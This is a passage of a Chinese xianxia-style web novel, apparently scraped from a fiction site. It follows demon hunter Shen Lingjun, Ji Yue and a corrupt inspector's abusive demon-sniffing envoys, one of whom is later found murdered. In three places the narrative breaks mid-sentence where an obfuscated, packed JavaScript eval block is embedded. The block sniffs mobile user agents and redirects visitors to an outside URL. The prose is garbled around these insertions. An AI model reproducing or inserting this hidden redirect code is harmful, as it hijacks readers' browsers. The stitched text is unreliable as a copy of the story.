季月裹紧身上衣衫,“看她那副虚伪的嘴脸,真想吐。” “我也有同感。好在此行探明了事情的真相。” “你真要帮她隐瞒?” “君子一言,快马一鞭。” “……什么意思?” “答应别人的事要做到。”沈灵均突然停住脚步,转过脸来,“琳琅阁藏书汗牛充栋,季姑娘有空时不妨多读一些。” “啊?” “这样以后我们说话,会比较顺畅。” 季月一愣,回过味来,“你竟然嘲笑我?你不想想怎么结案,还来嘲笑我?” 沈灵均勾起唇角,“看你生气的样子,缓和一下心情。” 说着伸过手来,在雪团背上撸了一把,“和撸猫一个道理。” 雪团被他惊醒了,睁开眼,发现自己又落入季月怀里,立刻哀哀嚎叫起来。 季月连忙挠它下巴安抚,“都怪你把它吵醒,刚才可乖了。” “它害怕你才叫的。” 季月低下头去,在雪团脑袋上用力亲了一口。猫浑身都僵住了,一动不动。 “看,它明明是喜欢我的。” 沈灵均忍不住笑出声来,这些日子以来的胸中积郁,终于消解了一些。 季月却笑不出来,“真为小灰不值。它虽然不能说话,却有情有义,比徐夫人强多了。” 沈灵均微微摇头,“只可惜,世人未必这样想。” 三日后,沈灵均向徐知县汇报案情。 知县亲笔所绘的女子画像已在全县各处交通要道、茶楼酒坊张贴,至今尚未找到容貌相似之人。 在猫妖尸身口中发现剧毒的断肠草。南安县出售此物的药铺共有五家,事发前去采买过的客人名录已经搜集齐全,呈给知县过目。长长一串名录中,有个名字边上,好巧不巧地滴上了一个红色的墨点。 徐知县凑近了看,心中猛地一跳。 春香?夫人的丫鬟也叫春香。 又过了一日,春香受不住拷打,将徐夫人命她采买毒药之事一五一十地说了。又从徐夫人的妆匣底层,搜出了断肠草的粉末。 证据摆在眼前,徐夫人仍是一口咬定自己受了惊吓,记忆全无。夜入监牢、毒死猫妖之事,全是被妖物蛊惑。 不论徐知县如何逼问、喝骂,她都绝口不提自己和猫妖的渊源。 被妖法操纵,说来奇异,既难证明有其事,也难证明无其事。擅闯县衙者有罪,但杀死猫妖者,非但无罪,反而有功。 日子一天天过去,知县大人迟迟没有给出一个说法。 这天早晨,季月又去庆真楼买糕,远远地看到沈灵均站在队伍里。 她挤过去,“沈大人,好巧啊,最近在忙些什么?” 沈灵均眼下有两圈淡淡乌黑,没好气地说,“忙着找工匠,重建县衙大牢。” “徐……猫妖的事,如何了?” 沈灵均凑到她耳边,“我看徐大人的意思,怕是要成悬案了。” “为什么?他不是找到证据了吗?” “知县夫人中了妖法,知县脸上也不光彩。何况死的是妖,谁会为一只妖伸冤呢?不如大事化小,小事化了。” “难道这件事就这么算了?” 他幽幽地说,“除非找到画像上的女子。” 季月撇了撇嘴,不说话了。 队伍缓慢地向前挪动。 “若按我的意思,就该把徐夫人抓出来,胖揍一顿。” “咳,本县禁止斗殴。何况,此案还有许多可疑之处。” “哪里可疑?” 沈灵均不答,目光深沉,投向眼前金碧辉煌的庆真楼。 队伍尽头,围挡外面,不知何时挂出一面簇新的金漆招牌。 季月不识字,他却是识得的。 上面堂而皇之地写着:妖怪打死也不肯放的糕。 17. 弦断有谁听(一) 金秋时节,碧空如洗,白鹤清唳,扶摇直上,飞向云端。 一顶八抬大轿端端正正地停在县衙大门口,在此等候了一上午的徐知县揉了揉僵直的腿,堆起满面的笑,率领县衙一众人等迎了上来。 “下官恭迎同知大人!” 等了许久,未有动静。 徐知县抬起头,注视着厚厚的轿帘。八名轿夫却像木头桩子似的,直愣愣地站在原地。 他几欲自己上前去掀那轿帘,想到这位同知大人上回来南安县的种种,终究沉住了气。 直等到老腰发酸,轿子里终于有了声响,一只经络凸起的大手揭开帘子,露出闻怀璧那张比八仙桌还要方正的脸,以及下巴上缀着的几缕山羊胡子。 “路途遥远,一不留神打了个盹,让知县大人久等了。” 看他目光灼灼,哪有半点没睡醒的样子。徐知县压下心头恼怒,陪笑道,“同知大人远来辛苦,下官特备了美酒佳酿,为闻大人接风洗尘。” “哦?”闻怀璧挑眉,“徐大人见到本官,头一件事竟是要喝酒?” 徐知县一见他的脸色,心道不妙。 “南安县近日怪事频出,妖物肆虐,人心惶惶,知府大人特派我下来体察民情,整饬纲纪。徐大人身为本县父母,竟能泰然高卧,耽于享乐,把朝廷置于何地?又把百姓置于何地?” 这一通劈头盖脸的斥责,说得徐知县头都抬不起来,连声道,“是下官无能。” 沈灵均踏上一步,“捉妖不力,责任全在属下一人,请同知大人责罚。” “哼,你倒忠心!若出了事都让下属顶着,还要知县何用?徐大人这是要弃车保帅吗?” 徐知县心里一凉。闻怀璧显然是冲着自己来的。他慌忙跪倒。衙署众人见长官跪倒,跟着呼啦啦跪倒一片。 “下官治理不力,请同知大人降罪。” 闻怀璧缓过一口气,从本朝开国之初讲起,洋洋洒洒地剖析为官之责,为臣之道,句句不离江山社稷,民间疾苦。徐知县起初还能忍耐,过了一会,只觉得头晕脑胀,膝盖生疼,深恨这姓闻的官威越来越大,往常都是进了县衙才摆威风,这回脚还未沾地,就开始训人。 官大一级压死人。他心里再不耐烦,也只得闭嘴听着。 闻怀璧讲了一个时辰,才过足瘾,“降罪云云,是徐大人言重了。若真要降罪,也是朝廷降罪。闻某受知府之命来此,只盼能尽一点绵薄之力,上不负上官,下不负万民,也对得起头上这顶乌纱帽。徐老弟,你说是不是?” 徐知县一听他终于改了称呼,如蒙大赦,“闻大人教诲,下官铭记在心。请大人下轿,稍作歇息。” 闻怀璧这才踏出轿子,由徐知县引着,进了县衙大门。 徐知县命人拿出珍藏的高山云雾茶,招待闻大人,顺便赞扬了同知大人高山仰止的高洁品格。 闻怀璧坐于公堂上那幅巨大的三足金乌像下方,品了两杯春茶,神色渐趋和缓。眉心的川字纹几乎消失不见了。 “徐老弟,不是我要摆官威,实在是上头催逼得紧。向来太平的昌平县和南安县,一个被大疫伤了元气,一个又一反常态,妖邪频出。知府大人面子上,实在是不好看哪。” “不瞒闻大人,下官这数月以来,也是愁得茶不思,饭不想,夜夜难以安眠,只是下官身为一县之长,要撑起这一大家子,白日里只好强打精神,强颜欢笑罢了。” “竟是如此!看来方才,是我错怪徐老弟了。” “下官惭愧。” 闻怀璧眼风扫过县衙众人,停在沈灵均身上。 “我记得南安县的捉妖师,不止一人啊?” 沈灵均道,“闻大人所指,可是家师?” “啊,是了。我第一次来南安县时,曾与天一道人有过一面之缘。尊师现在何处?” “家师多年前已卸下官职,潜心修炼。半年前家师告别弟子,出门云游,至今未归。” 闻怀璧往椅背上一靠,“这么说,如今你势单力孤,独木难支,才使得南安县妖邪肆虐,生灵涂炭咯?” 沈灵均迟疑未答。南安县有妖不假,但要说生灵涂炭,未免也太言过其实。 徐知县抢着问,“闻大人可有良策?” 闻怀璧笑道,“我这次来,就是给你们送帮手的。” 他冲门外一扬手,“叫他们都进来吧。” 四十个身穿皂衣的精壮汉子鱼贯而入,排成数列,个个人高马大,腰间系着长鞭,将县衙公堂占得满满当当。 徐知县的茶壶盖当啷一声掉在桌上,“这……这是?” 闻怀璧捋着山羊胡子,得意道,“这些是我带来的闻妖使者,个个身怀绝技。往南安县的大街小巷上一放,什么样的妖物都能抓到。” 沈灵均心里突地一跳。徐知县恰好投来疑惑的目光,两人眼神相接,各有各的心事。 “诸位都习过捉妖之术?” 闻怀璧大手一挥,“哪用得着拜师学艺那么麻烦?山人自有妙计。有他们在此,妖物无所遁形,沈老弟往后可以躲清闲了。” 沈灵均自七岁起学艺,冬练三九,夏练三伏,深知其中甘苦,要学到本领,除了勤修苦练,并无捷径可走。 “恕在下愚钝,敢问同知大人,使者有何妙计?” 闻怀璧瞥了他一眼,高傲地吐出一个字,“闻。” 南安县郊有一座小仓山,每年仲秋时节,漫山枫叶红遍,为一时佳景,引来游人如织。 王妙仪头戴幂篱,挤在上山的人群中,心情甚是不快。鞋子是为了郊游新做的,却不太合脚,下轿走了没几步,右脚小趾就隐隐作痛。 真是诸事不宜。 她提早两个月就和表哥约好,要去小仓山赏景郊游,好不容易选定了日子,出发前一天,表哥却说县衙有急事,临时爽约。王妙仪心里气苦,赌气吩咐管家把所有的东西都带上,自己一个人也能玩好。 于是管家带上了食盒、纸鸢、斗笠等乱七八糟的许多东西,打成一个沉重的大包袱。这包袱背在背上,难免拖慢脚步。一不留神,小姐竟独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩思年道,“季姑娘说笑了,这条道堵得好似铁桶一般,你如何上得去?” 季月抿嘴一笑。韩思年一时恍惚,好像眼前瞬间绽开了一朵花。 “老伯,你家小姐长什么样子?” 管家一愣,小姐待字闺中,相貌怎可随意告诉外人,这姑娘问话也太不地道了。 他避开相貌,只描述衣着:“我家小姐穿白色衣衫,头戴幂篱,大约这么高,脚下穿一双蓝色的鞋子……跟姑娘脚上这双有些相似。” 季月今天正好穿了一身蓝。一眨眼间,她已经跃出人群,蓝色鞋子踩上山道一侧的铁索。 那铁索细细一根,每隔十步以石头固定,原本是为了防止行人跌落而设,本身并吃不住重量。可季月飞身其上,像一根轻盈的羽毛,转眼间已越过上百人,翩然而去。 韩思年和管家都看傻了。 半晌,韩思年才喃喃道,“原来季姑娘练过轻功啊……” 18. 弦断有谁听(二) 季月沿着铁索一路向上,才行了一会,就发现拥堵的源头。半山腰一处空地,本是三条山道交汇之处,偏有三个身穿皂衣,作捕快打扮的人,将路口一拦,不许人过。 三条道上,游人越积越多,那三个皂衣汉子却背对人群,把脸朝向中间一名白衣女子。 那女子的打扮正如管家老伯所说,头戴幂篱,穿一双蓝色鞋子。她双手从里面紧紧抓住幂篱的角,全身都绷紧了。 对面的皂衣汉子粗声道,“你这娘们,怎么如此不识好歹?爷爷们奉朝廷之命来此闻妖,那是把脑袋别在裤腰带上,保你们的性命。你竟敢不从?” 季月细看那人,三角眼,酒糟鼻,上唇还有一圈乌青的胡茬,怎么看也没到当爷爷的年纪。 王妙仪长到十八岁,头一回遇上如此粗鄙之人,不知该如何应对,握紧了拳头,尖声说,“你们说要闻妖,我从下面山道上来,已经让这位官爷闻过了,相隔几步路,为何你又要闻?” 她嗓音尖细,季月要竖起耳朵,才能听清。 皂衣汉子一鞭子抽在地上,大喊,“什么啰里啰嗦的!他陆三闻,和我陈二闻,能一样吗?看看这是什么!” 他掏出一块红漆牌子,季月瞪大了眼睛,只见上面从上往下写着四个小字。她自以为这些日子勤学发奋,已经认了不少字,不巧这四个字,一个也念不出来。 好在皂衣汉子自己念出来了,“闻~妖~使~者!朝廷发给我们三块牌子,就是要我们一个路口站一人,挨个闻过来。你要是不服,跟朝廷说去!” 他说得口沫横飞,唾沫星子都沾上了幂篱。王妙仪又是惊惧又是嫌恶,声音已带着哭腔,“你要闻妖,为何要我掀开幂篱?” 陈二撸了撸鼻子,突然笑起来,“小美人,这条路上没人戴这头纱,只有你戴,我自然要怀疑,你把妖藏在头纱里面啦!” 他的酒糟鼻越凑越近,鼻翼掀起,用力嗅闻。 “啊啾!”他打了个喷嚏,“我闻到了,头纱里面有东西!快掀起来让爷爷瞧个仔细!” 王妙仪又急又气,浑身发起抖来,只是不肯松手。 陈二向陆三使了个眼色。陆三会意,也往地上抽了一鞭子,喊道,“小丫头,山道上这么多人,就为了等你一个,大家都走不了路!” 人群中果然有帮腔的。 “这位姑娘,你就迁就一下,让官爷闻一闻,别耽误大家时间哪。” “就是嘛,再这么拖下去,太阳都要下山了。” 王妙仪听了几句闲话,便以为自己犯了众怒,心里泄了气,正要屈服,突然眼前一花。身边多了个蓝衣姑娘。 这姑娘好像从地里冒出来的,陈二吓了一跳,倒退两步大叫,“什么人?!” 那姑娘反而走上前去,“你刚才说闻妖,是什么意思?” 陈二看清楚季月的容貌,愣在当场,想要说话,舌头却不听使唤。 季月又问,“你真能闻出妖的气味吗?” 每只妖的气味都是与生俱来,独一无二的。妖和妖之间相认,三分靠外表,七分靠气味。气味是妖的标志。即使法力高强的妖,也很少隐匿或是改变自己的气味。 人若能闻得出妖气,那还了得。 陈二回过神来,把酒糟鼻往前伸了伸,深深吸了一口。 美人身上,总是自带芳香。 他一脸享受,慢慢地把吸进去的气吐完,瘪下去的胸膛回归原位,才睁开眼睛,贼妥嘻嘻地笑道,“没有妖气,你可以走了。” 季月一时无语。 陈二转向王妙仪,“看看别的娘们多么乖觉,主动让爷爷闻。你也学学人家……” 要学人家什么,王妙仪没机会听到了。陈二说到一半,戛然而止。王妙仪透过幂篱一角,看到季月水葱般的手指比了个奇怪的姿势。 头上的幂篱突然松脱,像活了似的,飞过去在陈二头上缠了几圈,狠狠收紧。陈二肩膀上如同顶了个巨大的蚕茧,叫也叫不出来,双手乱挥,拼命去抠自己的脸。 说来也奇怪,幂篱此物又轻又薄,平时稍不注意都会勾破,可缠在陈二脸上的却像钢丝所制,抓不透,甩不脱。陈二口鼻受阻,透不过气,不慎一跤摔倒。 另外两名使者起初愣在原地,见他倒地,才反应过来,双双扑过去相救。他们胡乱撕扯那幂篱,用的力气越来越大,到后来几乎是拳打脚踢,陈二生受了许多下,头脸的皮肉都肿了起来。 季月在一旁幸灾乐祸,咯咯直笑。 使者刚离开原位,众人便发一声喊,自行走了,上山的上山,下山的下山,路口瞬间畅通。 王妙仪感觉自己被一只手牵着,一步就踩上了山道旁一块大石头,刚好避开汹涌的人流。 没了幂篱,眼睛不适应强光,泪水直流。 季月注视着她。这姑娘皮肤白得出奇,雪团子般的一张脸,一点棱角也无。清秀文雅,柔弱羞涩,一看就是个没脾气的美人。 她顿生保护之心,“你不用怕,那陈二是个草包,自身都难保。” “多谢姑娘。” “你不戴幂篱可要紧?” “我没事的,幂篱被那人碰过,本来也不能要了。” “你是眼睛不适,不能见光,所以才要戴它?” “那倒不是的。”王妙仪咬住下唇,“先妣曾经教导,女子出嫁前不可多见外人。” 季月又没听懂,正低头琢磨先妣是什么意思,背后山道传来熟悉的声音,韩思年和管家老伯终于赶了上来。那老伯见小姐好端端地站在高处,松了口气,一看她没了幂篱,才放下的心又揪了起来。 只见那两名使者一抬手,一抬脚,扛着人事不省的陈二,狼狈下山去了。陈二的脸肿得跟猪头似的,嘴巴大张,好在幂篱终于解下。 韩思年惊异道,“这是怎么回事?” 季月道,“自作自受。” 四人会合,互通了名姓,跟着人流走走停停,行至山顶,刚好把这一段事故讲完。 王妙仪低声道,“要不是季姑娘在,我只怕……只怕……” 季月道,“我看那陈二就是嘴上恶心人,未必敢真对你做什么。” 管家老伯不敢苟同,“他就是故意刁难。我家小姐金枝玉叶,凭什么让那粗胚看了去?” 王妙仪道,“可我的幂篱怎会突然飞到陈二脸上。” 季月笑道,“他这么烦人,连老天都看不下去了,给他个教训。” 韩思年脸色阴郁,“以后这种事,只会越来越多。” “为何?” “你们都没看县衙的告示么?闻妖使者出动了。” 三人齐齐摇头。 韩思年大感意外,转念一想,季月不识字。这位王姑娘一看就是高门大户,深居简出的小姐。管家老伯只管家务,不理世事。三人孤陋寡闻,也在情理之中。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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韩思年道,“不光是路,他们还能进入饭庄、茶楼、酒肆、商铺,查人拦人。顾客进店,先受盘查,稍有不从,鞭子伺候。西街那些掌柜,被使者搅得烦不胜烦,还有受不了去报官的。” 王妙仪道,“报官?” 韩思年点点头,“结果被知县大人一通臭骂。说掌柜们不识大体,眼里只有银钱。若是连性命都被妖害了,还有什么生意好做。” 季月道,“吓唬谁呀。” 管家老伯打从刚才就觉得这姑娘美则美矣,却行事出格,口没遮拦,毫无大家闺秀的风范,便出言提醒,“季姑娘,朝廷下令,不可置喙。” 韩思年道,“其实,那些使者上街的第一天,大家就看出他们是什么货色了。根本就是一群地痞流氓。打着盘查的名号,一见到值钱东西就眼睛发绿,恨不得据为己有,一见到美貌姑娘,就上下其手,恨不得摸上两把。种种丑态,难以细数,所过之处,怨声载道。” 王妙仪想到自己险些也被“摸上两把”,深感后怕,那股委屈劲又上来了,“他们如此行事……真能抓住妖吗?” 季月冷笑一声。 偌大一只妖站在面前,都看不出来呢。 韩思年道,“捉妖之事,我只信得过沈大人。他的身手,我们都曾亲眼所见。那些使者,可有他十分之一的能耐?” 季月端起紫砂杯,“等我下回见了他,亲自问问。” 她将上好的龙井一饮而尽,放下杯子,发现王妙仪正疑惑地盯着自己。 “季姑娘,你和我表哥很熟吗?” 19. 弦断有谁听(三) 季月一愣,飞快地回想“表哥”是个什么称谓。 王妙仪正色道,“沈大人是我表哥,先考先妣过世后,我就一直住在沈家。” 想起来了,似乎和“外孙女”一样,是母亲那一边的亲戚。 韩思年笑道,“原来王姑娘是沈府的人。幸会幸会。方才一路上山,匆忙间只报了姓名。容我引见,这位季姑娘是琳琅阁现任主人,在下曾拜她外祖范老夫子为师,细论起来,她还要叫在下一声师叔呢,哈哈哈哈。” 王妙仪的眼睛倏然瞪大了,乌黑的眼瞳里,流露出惊恐、羞恼、嫉恨诸般情态。 季月这时才注意到她脚边的食盒分外特别眼熟。看样式和花纹,正是沈灵均每回去庆真楼买糕时,提在手里的那只。 她恍然大悟,“原来他买那些甜食,是要带给你的。” 她一直想当然地以为,沈灵均是一个人住的。没想到,他家里竟藏着个美貌姑娘。此事他居然从未提起! 季月忽然生出一种异样之感,好像体内某根筋脉里汁液倒流,原本该去花冠的,转而去了叶片,虽无大碍,却很不舒服。 若说她是懵懵懂懂,莫名失落,王妙仪则是如遭雷击,心绪大乱。 她再深居简出,表哥与那琳琅阁主人的桃色传闻也早就顺着院墙,飘进了耳朵。 原来这位季姑娘真的如传闻中一般,美丽异常。面对那无赖陈二,也毫无惧色。自己与她相比,无论容貌、性情,都落于下风。 难怪把表哥的魂儿都勾了去。 不,不会的。表哥是修道之人,心志坚定,怎能为美色所迷。 王妙仪越想越气,涨红了脸,腾地站起身,“沈伯,我们回去。” 庆真楼的眉寿酒闻名遐迩,据说有洗经伐髓,延年益寿之功,向来为达官贵人所爱。坊间戏称,一滴酒值一两银。 一只青花瓷杯重重地砸在桌子上,少说十五两银子从杯口泼了出去。 执杯者一点也不肉痛,反而哈哈大笑,“好酒,好酒啊!” 这人不是天水阁的常客徐知县,也不是精于钻营的曹掌柜,而是长着四方脸蛋,不怒自威,心系百姓,刚正不阿的同知大人闻怀璧。 闻大人初来时,张口江山社稷,闭口黎民百姓,给了徐知县好大一个下马威。然而事过境迁,几轮银子使下来,佐以山珍海味,美酒佳酿,从前那个知冷知热的闻老哥哥又回来了。 闻怀璧喝得半醉,脸颊潮红,像抹了胭脂,“曹掌柜,你这酒楼太不成话了。看看外头打的什么招牌:妖怪打死也不肯放的糕。” 曹掌柜得意道,“本店童叟无欺,绝无夸大之词。闻大人有所不知,上回捉妖师在本店设局,摆了一整条长桌的糕点捉猫妖,那阵势,那场面,够回味半辈子了。不瞒您说,这招牌挂出去以后,糕点的生意又翻了一番。” 闻怀璧举着筷子笑骂,“你这奸商。” 徐知县大着舌头,“彩衣班呢?怎么还不上来。” 五名盛装打扮的舞姬款款上台,腰肢轻摆,和着鼓点,跳起胡旋舞。为首的舞姬美目含情,对着徐知县频送秋波。徐知县看得双眼发直,连酒都不喝了。 闻怀璧的头跟着舞姬的步伐,不自觉地转圈,突然想起一事。 “徐老弟,听说你去年续弦,还未道喜呢。娶的是哪家千金啊?” 徐知县原本春风得意的脸色突然一黯,“咳咳,不提也罢。” 曹掌柜却献宝似的,“徐夫人过门前是我彩衣班的头牌,凭一支柘枝舞,赢得知县大人青眼。正如当年闻大人看上芸娘……” 芸娘二字一出口,气氛陡变。闻怀璧的筷子僵在原地,徐知县警告的目光射过来,像要在他脸上扎两个窟窿。 曹掌柜连忙掌自己的嘴,“叫你乱说,叫你乱说。两位大人恕罪,小的喝多了黄汤,胡言乱语。” 一时无人说话,只有乐班咿咿呀呀地奏乐。 曹掌柜道,“弄月,吟香,别跳了,下来给两位大人斟酒。” 为首的和最左边的舞姬妖妖娆娆地走下来。弄月站到闻怀璧身前,吟香直接坐进徐知县怀里,纤纤玉手揽住他的肩。 闻怀璧斜眼看着舞姬斟酒,“没什么可忌讳的。芸儿从庆真楼出来时,确是个货真价实的好女子,后来发生的事,谁又能料想得到呢。” 曹掌柜连忙赔笑,“闻大人说的是。依小人浅见,这舞姬啊,就像糕点,带回家吃,比不上店里现吃,新鲜味美。” 徐知县的眼珠滴溜溜转,伸出一截香肠般的手指,点住曹掌柜的额头,“要论生意经,谁比得上曹老弟啊。” “要不然我这庆真楼,为何总是宾客盈门呢?” 三人一起大笑。 徐知县将吟香的手握在掌心摩挲,摸到一处破口。 “咦,这里怎么弄伤了?” 吟香嗔道,“都是那些闻妖使者,蛮不讲理,昨日下午冲进雅间,非要来掏我怀里的玉佩,那玉佩是上回徐大人赏的,我怎么舍得给他们。争抢之下,手磕在桌角,擦破了皮。” “唉哟,可疼死我的小美人了。” 弄月附和道,“前日乐班娘子正要登台,被两名闻妖使者强行拦住,搜查一番,结果耽误了客人听曲,受了好重的责罚。” 吟香道,“徐大人,这些使者什么时候走呀?” 徐知县在她手背上轻拍一下,“使者是朝廷派下来保护你们的。” 弄月叫道,“保护?他们那个样子,真能闻出妖?” 闻大人在场,诋毁使者等于驳他的面子。徐知县递了个眼色,示意她不要再多言。 不料弄月会错了意,以为是要她向闻大人求情,便攀住闻大人的手臂,娇声道,“闻大人,你说我们可不可怜?平日里习舞就够辛苦的了,如今一举一动都战战兢兢的,生怕有闻妖使者来添乱。其实我们这庆真楼里干干净净,哪会有什么妖嘛。” 她甜腻的嗓音比腰肢还要柔软,闻怀璧被迷得晕晕乎乎,胡乱一挥手,“我做主了,从今以后,庆真楼免检。” 在场众人齐声欢呼。弄月和吟香一个斟酒,一个捏肩,甜言蜜语流水般说个不停,直把闻怀璧捧上了天。 闻怀璧听得飘飘然,“文武双全不敢当。闻某一介粗人,只是于音律一道,略有些心得。” 曹掌柜早有准备,拍了拍手。三男三女抱着琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084226|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、萧、琵琶、卢沙,并两管竹笛,施施然走了进来。 “世人都知我庆真楼有彩衣班,却少有人知道阳春班。闻大人,乐工近日新谱了一曲,正要请您品鉴。” 乐班坐定。竹笛先吹出一段高亢的长音,萧声渐起,低回相应,琵琶铮铮弹响,琴音清越,如流水叮咚。诸般乐器同时奏响,正同百花齐放,百鸟争鸣。 徐知县一看那三名女子相貌只是清秀而已,远不如舞姬娇媚动人,便有些扫兴,歪在椅子上。闻大人却听得入神,频频点头。 曹掌柜笑问,“阳春班的技艺,比之当年如何?” 闻怀璧捻着山羊胡子,赞道,“青出于蓝。” 徐知县搂着吟香的腰,逗她,“你可会抚琴?比之他们如何?” “吟香这点微末技艺,怎好与阳春班相比。” 一曲毕。闻怀璧指着中间那人,“你叫什么名字?” 抚琴者抬起头,他看上去十五六岁年纪,长发飘飘,五官却极硬朗,徐知县触到他冷若寒星的目光,微微一惊。 “栖音。” 这人嗓音嘶哑,口中像含着一枚橄榄,吐字十分艰难。 曹掌柜道,“此奴小时候生病烧坏了嗓子,平日里沉默寡言,专攻琴技。” 闻怀璧大为怜悯,连说可惜。 “奴想再献上一曲。此曲名为《相见欢》。” “好!” 栖音领着乐工起身,行了一礼,复又坐下,抬手调了调琴弦。 徐知县眼前一花,琴弦上好像有什么东西一闪而过。 乐声起。此曲与前一曲截然不同,方才是五种乐器,各擅胜场。此刻琵琶、竹笛、卢沙皆隐为背景,遥遥和鸣,只有一琴一箫,交相呼应。 起初箫声低咽,似在来来回回,诉说生平不得志。节奏越来越缓,几乎归于寂静。突然琴音响起,高亢嘹亮。箫声被催促几轮,终于转而上扬,跟随琴音的曲调。琴声在前,箫声在后,乐句反复之中又有变化,好像大人执了孩童的手,一问一答,又像徒弟模仿师父。到最后,箫声几乎与琴声并驾齐驱,翱翔天际。 乐曲在高潮处戛然而止。 就连不好音律的徐知县也听得意犹未尽,头一个叫起来,“没啦?” 乐班起身行礼。 闻怀璧大赞,“好曲!好曲!” “我有一问。此曲前半段凄凄惨惨,后半段又一句紧似一句,好像背后有猛虎追着,哪得半点畅快之意。为何名为《相见欢》?” 栖音低眉垂眼,注视着琴弦,极缓慢地说道,“能得相见,便是欢愉。” 许是弹得太过急切,琴弦上光华流转,热得烫手,几乎在他指腹上燎起水泡。 闻怀璧从怀中掏出一个沉重的金丝钱袋,砰地一声,掷在栖音身前地上。“赏你了!” 栖音抬起眼,并不收起,只深深行了一礼。 曹掌柜命人添酒,乐班退场,舞姬重又上台。 庆真楼的饮宴,好像永远没有结束的时候,楼里欢歌笑语,通宵达旦。 他们谁也没有听到,县衙以西二十里,一所装帧豪华的别院内,传出一声划破天际的惨叫。 20. 弦断有谁听(四) 沈灵均盯着室中惨状。饶是他有法力在身,也觉得心惊肉跳。 死者陈二自左边肋骨至右边肩头被切断,身子掉在床上,头滚到地上。血流了满地,凝结成一种暗红色,没过床和桌椅的脚,小小的卧房犹如泡在酱缸里。气味中人欲呕,随他同来的两个衙役一进门就吐了。 沈灵均屏住呼吸,走近细看。陈二头脸的皮肉又红又肿,眼睛瞪得老大,满是惊恐之色,死不瞑目。身上的伤口十分齐整,连骨骼、内脏都一切为二,却没有移动位置,只有血液流出。 衙役吐得直不起腰。沈灵均只得动用法术,将尸体抬到后院,请来仵作勘验。 徐大人的这处别院自落成以来,住过许多贵人,藏过不少娇客。此次闻大人带着四十名闻妖使者前来,县衙住不下,便将一半人安置在这别院之中。没想到,会发生如此可怖的凶杀案。 使者们甘冒奇险,保民众安危,竟然遭到辣手残害。闻大人一听之下,大发雷霆,严令县衙三日内找出凶手。 陈二虽然无赖,人缘却不错,平素和同僚们喝酒吃肉,打成一片。他这一横死,使者们尽皆震动,站在院中,远远观望尸体,七嘴八舌地议论。 “定是妖做的。” 沈灵均皱眉。他已在这别院里转了一圈,感应不到一丝妖气。 老仵作拿了工具,踟躇半日,方才下手,将尸身从上至下,里里外外检视一遍,直忙到日落西山。 结论和使者如出一辙。 “禀告沈大人,此事,恐怕非人力可为啊。” 沈灵均叹气,“究竟有何疑点,细细说来。” “最奇异之处就是这道伤口。自下而上,断得干净利落,就好像是用一柄锋利至极的长刀,一刀斩下。胸腔之内遍布的骨骼内脏筋肉,丝毫没有阻断其势。” “凶手是使刀的高手?” 老仵作微微摇头,“这刀光是锋利还不够,还须带着极大的劲力,以飞快的速度斩下,才使内脏不致移位。只是这样一把长刀,刀刃怎会如此之细,只留下一寸不到的断面?” “短刀?” “短刀哪割得出如此长的伤口?沈大人,恐怕这桩案子要您多费心了。” 涉及妖的事,县衙一向是两手一摊,不出人,不出力,全权交给沈灵均处理。看老仵作的神情,只想赶紧下值,回家歇息。 他略一沉吟,唤来衙役,“陈二生前做过什么,去过何地,得罪过什么人?” 围观的使者中有一人喊道,“禀告大人,陈二必是被那两个丫头害死的。” “哦?” “小的名叫陆三,这是我兄长陆大。昨日陈二和我兄弟两人上小仓山设卡,遇到一个戴头纱的女子抗命。陈二与她争了起来,后来又来了个穿蓝衫子的姑娘。正说着话,不知从何处吹来一阵妖风,头纱就缠到了陈二脸上,害他差点憋死。陈二回来以后,灌了好几壶酒才缓过劲来,一个劲地说要回去找她们报复。” 老仵作道,“这就对了,陈二脖子下方有浅浅的印痕,是丝绢一类的软物勒住所致。头脸有几处淤伤,死前曾遭人殴打。” 沈灵均升起一股不祥的预感。 “那两名女子形貌如何?” “戴头纱那个没看清脸。穿蓝衫子那个么,妖妖娆娆,一看就是个不检点的。” 沈灵均昨天临时被县衙征召,为闻妖使者们圈划拦路设卡的地点。他明知这些人全是草包,却要煞有介事地告诉他们,哪里人群密集,哪里适合闻妖,一天下来累得筋疲力尽,深夜才归家,忘了关心表妹去小仓山玩得如何。 今早出门前,王妙仪板着一张脸一语不发,沈伯几次欲言又止,只怕是有事瞒着他。 他吩咐衙役,“将陈二来南安县后接触过的人全部查访一遍,使者中有想起什么的及时禀告,那两名女子我自己去查。” 匆匆回府,找来管家沈伯一问,果然,前一日在小仓山和陈二起冲突的,正是表妹和季月。 他把正在书房练字的王妙仪叫了出来。 “当时情形如何,快些说来。” 王妙仪本就憋着一口气,听表哥语气像审犯人似的,当即瞪起眼睛,“表哥你先说,你和季姑娘究竟是什么关系?” 沈灵均一愣,“你问这个做什么?” 王妙仪脸色微红,“外面风言风语,都说你们……你们……” “传言何必理会。” “表哥你终日与这样的女子厮混,实在有损名节!” 沈灵均哑然失笑。明明是个稚气未脱的小女孩,训起人来倒掷地有声,竟和自己的师父,那古板的天一道人有三分相似。 “你以后若是再见到季姑娘,务必客气一些。” 万一她发起怒来,可以把你生吞活吃了。 王妙仪怔怔地看着他,丹凤眼中渐渐蓄起两汪泪。 “这又是怎么了?” 沈灵均等了半天,她只是呜咽。 陈二死状凄惨,表妹知道了定然害怕,他决定隐去不提。 